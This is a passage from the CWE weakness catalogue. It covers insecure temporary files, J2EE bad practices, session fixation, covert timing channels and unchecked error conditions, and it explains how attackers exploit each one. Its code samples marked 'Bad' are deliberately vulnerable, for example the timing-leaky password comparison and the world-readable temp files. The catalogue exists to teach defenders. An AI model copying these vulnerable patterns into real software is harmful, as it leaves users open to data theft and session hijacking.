accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to open() using the O_CREAT and O_EXCL flags or to CreateFile() using the CREATE_NEW attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like tmpfile() and its C++ equivalents prefaced with an _ (underscore), as well as the slightly better-behaved C Library function mkstemp(). The tmpfile() style functions construct a unique filename and open it in the same way that fopen() would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, tmpfile() will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by tmpfile(). Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its

possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if tmpfile() does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, mkstemp() is a reasonably safe way create temporary files. It will attempt to create and open a unique file based on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

CWE-378: Creation of Temporary File With Insecure Permissions

Weakness ID : 378
Structure : Simple
Abstraction : Base

Description

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		377	Insecure Temporary File	933

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2517

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.*	
Authorization Other	Other *If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.*	
Integrity Other	Other *Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.*	

Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

Phase: Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

Demonstrative Examples

Example 1:

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

Example Language: C *(Bad)*

```
FILE *stream;
```

```
if( (stream = tmpfile()) == NULL ) {
   perror("Could not open new temporary file\n");
   return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java *(Bad)*

```
try {
   File temp = File.createTempFile("pattern", ".suffix");
   temp.deleteOnExit();
   BufferedWriter out = new BufferedWriter(new FileWriter(temp));
   out.write("aString");
   out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

Observed Examples

Reference	Description
CVE-2022-24823	A network application framework uses the Java function createTempFile(), which will create a file that is readable by other local users of the system *https://www.cve.org/CVERecord?id=CVE-2022-24823*

CWE-379: Creation of Temporary File in Directory with Insecure Permissions

Weakness ID : 379
Structure : Simple
Abstraction : Base

Description

The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1219	File Handling Issues	2517

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data *Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

Phase: Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

Phase: Implementation

Avoid using vulnerable temp file functions.

Demonstrative Examples

Example 1:

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

Example Language: C *(Bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
   perror("Could not open new temporary file\n");
   return (-1);
}
// write data to tmp file
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java *(Bad)*

```
try {
   File temp = File.createTempFile("pattern", ".suffix");
   temp.deleteOnExit();
   BufferedWriter out = new BufferedWriter(new FileWriter(temp));
   out.write("aString");
   out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

Observed Examples

Reference	Description
CVE-2022-27818	A hotkey daemon written in Rust creates a domain socket file underneath /tmp, which is accessible by any user. *https://www.cve.org/CVERecord?id=CVE-2022-27818*
CVE-2021-21290	A Java-based application for a rapid-development framework uses File.createTempFile() to create a random temporary file with insecure default permissions.

CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID : 382
Structure : Simple
Abstraction : Variant

Description

A J2EE application uses System.exit(), which also shuts down its container.

Extended Description

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	705	Incorrect Control Flow Scoping	1554

Applicable Platforms

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

The shutdown function should be a privileged function available only to a properly authorized administrative user

Phase: Implementation

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

Phase: Implementation

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

Phase: Implementation

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

Demonstrative Examples

Example 1:

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

Example Language: Java *(Bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try {
    ...
  } catch (ApplicationSpecificException ase) {
    logger.error("Caught: " + ase.toString());
    System.exit(1);
  }
}
```

CWE-383: J2EE Bad Practices: Direct Use of Threads

Weakness ID : 383
Structure : Simple
Abstraction : Variant

Description

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

Extended Description

Thread management in a web application is forbidden by the J2EE standard in some circumstances and is always highly error prone. Managing threads is difficult and is likely to interfere in unpredictable ways with the behavior of the application container. Even without interfering with the container, thread management usually leads to bugs that are hard to detect and diagnose like deadlock, race conditions, and other synchronization errors.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Language : Java *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

For EJB, use framework approaches for parallel execution, instead of using threads.

Demonstrative Examples

Example 1:

In the following example, a new Thread object is created and invoked directly from within the body of a doGet() method in a Java servlet.

Example Language: Java *(Bad)*

```
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  // Perform servlet tasks.
  ...
  // Create a new thread to handle background processing.
  Runnable r = new Runnable() {
    public void run() {
      // Process and store request statistics.
      ...
    }
  };
  new Thread(r).start();
}
```

CWE-384: Session Fixation

Weakness ID : 384
Structure : Composite
Abstraction : Compound

Description

Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions.

Composite Components

Nature	Type	ID	Name	Page
Requires	C	346	Origin Validation Error	861
Requires	B	472	External Control of Assumed-Immutable Web Parameter	1134
Requires	C	441	Unintended Proxy or Intermediary ('Confused Deputy')	1073

Extended Description

Such a scenario is commonly observed when:

- A web application authenticates a user without first invalidating the existing session, thereby continuing to use the session already associated with the user.
- An attacker is able to force a known session identifier on a user so that, once the user authenticates, the attacker has access to the authenticated session.
- The application or container uses predictable session identifiers.

In the generic exploit of session fixation vulnerabilities, an attacker creates a new session on a web application and records the associated session identifier. The attacker then causes the victim to associate, and possibly authenticate, against the server using that session identifier, giving the attacker access to the user's account through the active session.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1018	Manage User Sessions	2469

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Potential Mitigations

Phase: Architecture and Design

Invalidate any existing session identifiers prior to authorizing a new user session.

Phase: Architecture and Design

For platforms such as ASP that do not generate new values for sessionid cookies, utilize a secondary cookie. In this approach, set a secondary cookie on the user's browser to a random value and set a session variable to the same value. If the session variable and the cookie value ever don't match, invalidate the session, and force the user to log on again.

Demonstrative Examples

Example 1:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with LoginContext.login() without first calling HttpSession.invalidate().

Example Language: Java *(Bad)*

```
private void auth(LoginContext lc, HttpSession session) throws LoginException {
  ...
  lc.login();
  ...
}
```

In order to exploit the code above, an attacker could first create a session (perhaps by logging into the application) from a public terminal, record the session identifier assigned by the application, and reset the browser to the login page. Next, a victim sits down at the same public terminal, notices the browser open to the login page of the site, and enters credentials to authenticate against the application. The code responsible for authenticating the victim continues to use the pre-existing session identifier, now the attacker simply uses the session identifier recorded earlier to access the victim's active session, providing nearly unrestricted access to the victim's account for the lifetime of the session. Even given a vulnerable application, the success of the specific attack described here is dependent on several factors working in the favor of the attacker: access to an unmonitored public terminal, the ability to keep the compromised session active and a victim interested in logging into the vulnerable application on the public terminal.

In most circumstances, the first two challenges are surmountable given a sufficient investment of time. Finding a victim who is both using a public terminal and interested in logging into the vulnerable application is possible as well, so long as the site is reasonably popular. The less well known the site is, the lower the odds of an interested victim using the public terminal and the lower the chance of success for the attack vector described above. The biggest challenge an attacker faces in exploiting session fixation vulnerabilities is inducing victims to authenticate against the vulnerable application using a session identifier known to the attacker.

In the example above, the attacker did this through a direct method that is not subtle and does not scale suitably for attacks involving less well-known web sites. However, do not be lulled into

complacency; attackers have many tools in their belts that help bypass the limitations of this attack vector. The most common technique employed by attackers involves taking advantage of cross-site scripting or HTTP response splitting vulnerabilities in the target site [12]. By tricking the victim into submitting a malicious request to a vulnerable application that reflects JavaScript or other code back to the victim's browser, an attacker can create a cookie that will cause the victim to reuse a session identifier controlled by the attacker. It is worth noting that cookies are often tied to the top level domain associated with a given URL. If multiple applications reside on the same top level domain, such as bank.example.com and recipes.example.com, a vulnerability in one application can allow an attacker to set a cookie with a fixed session identifier that will be used in all interactions with any application on the domain example.com [29].

Example 2:

The following example shows a snippet of code from a J2EE web application where the application authenticates users with a direct post to the <code>j_security_check</code>, which typically does not invalidate the existing session before processing the login request.

Example Language: HTML *(Bad)*

```
<form method="POST" action="j_security_check">
   <input type="text" name="j_username">
   <input type="text" name="j_password">
</form>
```

Observed Examples

Notes

Other

Other attack vectors include DNS poisoning and related network based attacks where an attacker causes the user to visit a malicious site by redirecting a request for a valid site. Network based attacks typically involve a physical presence on the victim's network or control of a compromised machine on the network, which makes them harder to exploit remotely, but their significance should not be overlooked. Less secure session management mechanisms, such as the default implementation in Apache Tomcat, allow session identifiers normally expected in a

cookie to be specified on the URL as well, which enables an attacker to cause a victim to use a fixed session identifier simply by emailing a malicious URL.

CWE-385: Covert Timing Channel

Weakness ID : 385
Structure : Simple
Abstraction : Base

Description

Covert timing channels convey information by modulating some aspect of system behavior over time, so that the program receiving the information can observe system behavior and infer protected information.

Extended Description

In some instances, knowing when data is transmitted between parties can provide a malicious user with privileged information. Also, externally monitoring the timing of operations can potentially reveal sensitive data. For example, a cryptographic operation can expose its internal state if the time it takes to perform the operation varies, based on the state.

Covert channels are frequently classified as either storage or timing channels. Some examples of covert timing channels are the system's paging rate, the time a certain transaction requires to execute, and the time it takes to gain access to a shared bus.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	417	Communication Channel Errors	2363

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Read Application Data Other *Information exposure.*	

Potential Mitigations

Phase: Architecture and Design

Whenever possible, specify implementation strategies that do not introduce time variances in operations.

Phase: Implementation

Often one can artificially manipulate the time which operations take or -- when operations occur -- can remove information from the attacker.

Phase: Implementation

It is reasonable to add artificial or random delays so that the amount of CPU time consumed is independent of the action being taken by the application.

Demonstrative Examples

Example 1:

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

Example Language: Python *(Bad)*

```
def validate_password(actual_pw, typed_pw):
  if len(actual_pw) <> len(typed_pw):
    return 0
  for i in len(actual_pw):
    if actual_pw[i] <> typed_pw[i]:
      return 0
  return 1
```

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why

it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Varies by Context Unexpected State Alter Execution Logic *An attacker could utilize an ignored error condition to place the system in an unexpected state that could lead to the execution of unintended logic and could cause other unintended behavior.*	

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Properly handle each exception. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Phase: Implementation

If a function returns an error, it is important to either fix the problem and try again, alert the user that an error has happened and let the program continue, or alert the user and close and cleanup the program.

Phase: Testing

Subject the product to extensive testing to discover some of the possible instances of where/how errors or return values are not handled. Consider testing techniques such as ad hoc, equivalence partitioning, robustness and fault tolerance, mutation, and fuzzing.

Demonstrative Examples

Example 1:

The following example attempts to allocate memory for a character. After the call to malloc, an if statement is used to check whether the malloc function failed.

Example Language: C *(Bad)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
   //We do nothing so we just ignore the error.
}
```

The conditional successfully detects a NULL return value from malloc indicating a failure, however it does not do anything to handle the problem. Unhandled errors may have unexpected results and may cause the program to crash or terminate.

Instead, the if block should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following example notifies the user that the malloc function did not allocate the required memory resources and returns an error code.

Example Language: C *(Good)*

```
foo=malloc(sizeof(char)); //the next line checks to see if malloc failed
if (foo==NULL) {
   printf("Malloc failed to allocate memory resources");
   return -1;
}
```

Example 2:

In the following C++ example the method readFile() will read the file whose name is provided in the input parameter and will return the contents of the file in char string. The method calls open() and read() may result in errors if the file does not exist or does not contain any data to read. These errors will be thrown when the is_open() method and good() method indicate errors

opening or reading the file. However, these errors are not handled within the catch statement. Catch statements that do not perform any processing will have unexpected results. In this case an empty char string will be returned, and the file will not be properly closed.

Example Language: C++ *(Bad)*

```
char* readfile (char *filename) {
   try {
      // open input file
      ifstream infile;
      infile.open(filename);
      if (!infile.is_open()) {
         throw "Unable to open file " + filename;
      }
      // get length of file
      infile.seekg (0, ios::end);
      int length = infile.tellg();
      infile.seekg (0, ios::beg);
      // allocate memory
      char *buffer = new char [length];
      // read data from file
      infile.read (buffer,length);
      if (!infile.good()) {
         throw "Unable to read from file " + filename;
      }
      infile.close();
      return buffer;
   }
   catch (...) {
      /* bug: insert code to handle this later */
   }
}
```

The catch statement should contain statements that either attempt to fix the problem or notify the user that an error has occurred and continue processing or perform some cleanup and gracefully terminate the program. The following C++ example contains two catch statements. The first of these will catch a specific error thrown within the try block, and the second catch statement will catch all other errors from within the catch block. Both catch statements will notify the user that an error has occurred, close the file, and rethrow to the block that called the readFile() method for further handling or possible termination of the program.

Example Language: C++ *(Good)*

```
char* readFile (char *filename) {
   try {
      // open input file
      ifstream infile;
      infile.open(filename);
      if (!infile.is_open()) {
         throw "Unable to open file " + filename;
      }
      // get length of file
      infile.seekg (0, ios::end);
      int length = infile.tellg();
      infile.seekg (0, ios::beg);
      // allocate memory
      char *buffer = new char [length];
      // read data from file
      infile.read (buffer,length);
      if (!infile.good()) {
         throw "Unable to read from file " + filename;
      }
      infile.close();
      return buffer;
   }
   catch (char *str) {
```

```
      printf("Error: %s \n", str);
      infile.close();
      throw str;
   }
   catch (...) {
      printf("Error occurred trying to read from file \n");
      infile.close();
      throw;
   }
}
```

Example 3:

In the following Java example the method readFile will read the file whose name is provided in the input parameter and will return the contents of the file in a String object. The constructor of the FileReader object and the read method call may throw exceptions and therefore must be within a try/catch block. While the catch statement in this example will catch thrown exceptions in order for the method to compile, no processing is performed to handle the thrown exceptions. Catch statements that do not perform any processing will have unexpected results. In this case, this will result in the return of a null String.

Example Language: Java *(Bad)*

```
public String readFile(String filename) {
   String retString = null;
   try {
      // initialize File and FileReader objects
      File file = new File(filename);
      FileReader fr = new FileReader(file);
      // initialize character buffer
      long fLen = file.length();
      char[] cBuf = new char[(int) fLen];
      // read data from file
      int iRead = fr.read(cBuf, 0, (int) fLen);
      // close file
      fr.close();
      retString = new String(cBuf);
   } catch (Exception ex) {
      /* do nothing, but catch so it'll compile... */
   }
   return retString;
}
```

The catch statement should contain statements that either attempt to fix the problem, notify the user that an exception has been raised and continue processing, or perform some cleanup and gracefully terminate the program. The following Java example contains three catch statements. The first of these will catch the FileNotFoundException that may be thrown by the FileReader constructor called within the try/catch block. The second catch statement will catch the IOException that may be thrown by the read method called within the try/catch block. The third catch statement will catch all other exceptions thrown within the try block. For all catch statements the user is notified that the exception has been thrown and the exception is rethrown to the block that called the readFile() method for further processing or possible termination of the program. Note that with Java it is usually good practice to use the getMessage() method of the exception class to provide more information to the user about the exception raised.

Example Language: Java *(Good)*

```
public String readFile(String filename) throws FileNotFoundException, IOException, Exception {
   String retString = null;
   try {
      // initialize File and FileReader objects
      File file = new File(filename);
      FileReader fr = new FileReader(file);
```

```
      // initialize character buffer
      long fLen = file.length();
      char [] cBuf = new char[(int) fLen];
      // read data from file
      int iRead = fr.read(cBuf, 0, (int) fLen);
      // close file
      fr.close();
      retString = new String(cBuf);
    } catch (FileNotFoundException ex) {
      System.err.println ("Error: FileNotFoundException opening the input file: " + filename );
      System.err.println ("" + ex.getMessage() );
      throw new FileNotFoundException(ex.getMessage());
    } catch (IOException ex) {
      System.err.println("Error: IOException reading the input file.\n" + ex.getMessage() );
      throw new IOException(ex);
    } catch (Exception ex) {
      System.err.println("Error: Exception reading the input file.\n" + ex.getMessage() );
      throw new Exception(ex);
    }
    return retString;
}
```

CWE-391: Unchecked Error Condition

Weakness ID : 391
Structure : Simple
Abstraction : Base

Description

[PLANNED FOR DEPRECATION. SEE MAINTENANCE NOTES AND CONSIDER CWE-252, CWE-248, OR CWE-1069.] Ignoring exceptions and other error conditions may allow an attacker to induce unexpected behavior unnoticed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness = High

Potential Mitigations

Phase: Requirements

The choice between a language which has named or unnamed exceptions needs to be done. While unnamed exceptions exacerbate the chance of not properly dealing with an exception, named exceptions suffer from the up call version of the weak base class problem.

Phase: Requirements

A language can be used which requires, at compile time, to catch all serious exceptions. However, one must make sure to use the most current version of the API as new exceptions could be added.

Phase: Implementation

Catch all relevant exceptions. This is the recommended solution. Ensure that all exceptions are handled in such a way that you can be sure of the state of your system at any given moment.

Demonstrative Examples

Example 1:

The following code excerpt ignores a rarely-thrown exception from doExchange().

Example Language: Java *(Bad)*

```
try {
  doExchange();
}
catch (RareException e) {
  // this can never happen
}
```

If a RareException were to ever be thrown, the program would continue to execute as though nothing unusual had occurred. The program records no evidence indicating the special situation, potentially frustrating any later attempt to explain the program's behavior.

Notes

Maintenance

This entry is slated for deprecation; it has multiple widespread interpretations by CWE analysts. It currently combines information from three different taxonomies, but each taxonomy is talking about a slightly different issue. CWE analysts might map to this entry based on any of these issues. 7PK has "Empty Catch Block" which has an association with empty exception block (CWE-1069); in this case, the exception has performed the check, but does not handle. In PLOVER there is "Unchecked Return Value" which is CWE-252, but unlike "Empty Catch Block" there isn't even a check of the issue - and "Unchecked Error Condition" implies lack of a check. For CLASP, "Uncaught Exception" (CWE-248) is associated with incorrect error propagation - uncovered in CWE 3.2 and earlier, at least. There are other issues related to error handling and checks.

Other

When a programmer ignores an exception, they implicitly state that they are operating under one of two assumptions: This method call can never fail. It doesn't matter if this call fails.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unchecked Return Value
7 Pernicious Kingdoms			Empty Catch Block
CLASP			Uncaught exception
OWASP Top Ten 2004	A7	CWE More Specific	Improper Error Handling

CWE-393: Return of Wrong Status Code

Weakness ID : 393
Structure : Simple
Abstraction : Base

Description

A function or operation returns an incorrect return value or status code that does not indicate the true result of execution, causing the product to modify its behavior based on the incorrect result.

Extended Description

This can lead to unpredictable behavior. If the function is used to make security-critical decisions or provide security-critical information, then the wrong status code can cause the product to assume that an action is safe or correct, even when it is not.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	703	Improper Check or Handling of Exceptional Conditions	1547
ChildOf		684	Incorrect Provision of Specified Functionality	1517

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	389	Error Conditions, Return Values, Status Codes	2360

Applicable Platforms

Language : Not Language-Specific *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Unexpected State Alter Execution Logic *This weakness could place the system in a state that could lead unexpected logic to be executed or other unintended behaviors.*	

Detection Methods

Fuzzing

Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.

Effectiveness = High

Demonstrative Examples

Example 1:

In the following example, an HTTP 404 status code is returned in the event of an IOException encountered in a Java servlet. A 404 code is typically meant to indicate a non-existent resource and would be somewhat misleading in this case.

Example Language: Java *(Bad)*

```
try {
  // something that might throw IOException
  ...
} catch (IOException ioe) {
  response.sendError(SC_NOT_FOUND);
}
```

Observed Examples

Reference	Description
CVE-2003-1132	DNS server returns wrong response code for non-existent AAAA record, which effectively says that the domain is inaccessible. *https://www.cve.org/CVERecord?id=CVE-2003-1132*
CVE-2001-1509	Hardware-specific implementation of system call causes incorrect results from geteuid. *https://www.cve.org/CVERecord?id=CVE-2001-1509*
CVE-2001-1559	Chain: System call returns wrong value (CWE-393), leading to a resultant NULL dereference (CWE-476). *https://www.cve.org/CVERecord?id=CVE-2001-1559*
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing Adversary-in-the-Middle (AITM) attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint). *https://www.cve.org/CVERecord?id=CVE-2014-1266*

Software Fault Patterns	SFP4		Unchecked Status Condition
SEI CERT Perl Coding Standard	EXP00-PL	Imprecise	Do not return undef

CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference

Weakness ID : 395
Structure : Simple
Abstraction : Base

Description

Catching NullPointerException should not be used as an alternative to programmatic checks to prevent dereferencing a null pointer.

Extended Description

Programmers typically catch NullPointerException under three circumstances:

- The program contains a null pointer dereference. Catching the resulting exception was easier than fixing the underlying problem.
- The program explicitly throws a NullPointerException to signal an error condition.
- The code is part of a test harness that supplies unexpected input to the classes under test.

Of these three circumstances, only the last is acceptable.

Relationships

